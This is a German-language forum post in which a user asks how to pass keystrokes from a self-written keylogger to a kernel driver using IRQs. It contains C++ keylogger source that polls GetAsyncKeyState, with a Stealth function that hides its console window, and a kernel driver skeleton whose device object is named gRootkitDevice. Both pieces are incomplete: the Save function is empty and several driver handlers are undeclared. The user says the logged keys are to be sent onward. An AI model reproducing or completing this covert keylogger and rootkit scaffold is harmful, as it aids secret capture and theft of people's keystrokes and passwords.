S
Shlyakh
Guest
Ich habe einen keylogger geschrieben...
...und dieser Besitzt auch einen Devicehandler.
Es handelt sich bei dem Device um genau dasjenige, was hier in meinem Treiber vorzufinden ist:
Aber ich weiß jetzt nicht, wie ich es schaffen kann, IRQs an meinen Treiber zu senden, damit dieser die geloggten Keys einlesen und gegbenen Falles weitersenden kann.
Aber wie müsste man den Code dergestalt erweitern, dass das mit dem IRQ klappt?
Code:
#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <stdio.h>
using namespace std;
//Function body definitions:
int Save(int key_stroke);
void Stealth();
HANDLE hDevice;
int main()
{
hDevice = CreateFile("\\\\.\\MyDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == ((HANDLE)-1)) {
return 0;
}
Stealth();
unsigned char i;
while(i == i)
{
for(i = 8; i<= 190; i++){
if(GetAsyncKeyState(i) == -32767){
Save(i);
}
}
}
system("PAUSE");
return 0;
}
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
int Save(int key_stroke)
{
//Ich will jetzt die Keystrokes zum Treiber senden... Am besten
//nicht vermittels eines IRQ per Stroke.
}
...und dieser Besitzt auch einen Devicehandler.
Es handelt sich bei dem Device um genau dasjenige, was hier in meinem Treiber vorzufinden ist:
Code:
#include <ntddk.h>
const WCHAR deviceNameBuffer[] = L"\\Device\\MyDevice";
PDEVICE_OBJECT gRootkitDevice;
NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
RtlInitUnicodeString(&deviceNameUnicodeString, deviceNameBuffer);
ntStatus = IoCreateDevice(theDriverObject, 0, &deviceNameUnicodeString, 0x00001234, 0, TRUE, &gRootkitDevice);
//So werden die aus dem Keylogger stammenden Signale weiterverarbeitet.
theDriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
//theDriverObject->MajorFunction[IRP_MJ_CREATE] = MyCreate;
//theDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
//theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
//theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControl;
return STATUS_SUCCESS;
}
MyRead();
MyCreate();
MyClose();
MyWrite();
Aber ich weiß jetzt nicht, wie ich es schaffen kann, IRQs an meinen Treiber zu senden, damit dieser die geloggten Keys einlesen und gegbenen Falles weitersenden kann.
Aber wie müsste man den Code dergestalt erweitern, dass das mit dem IRQ klappt?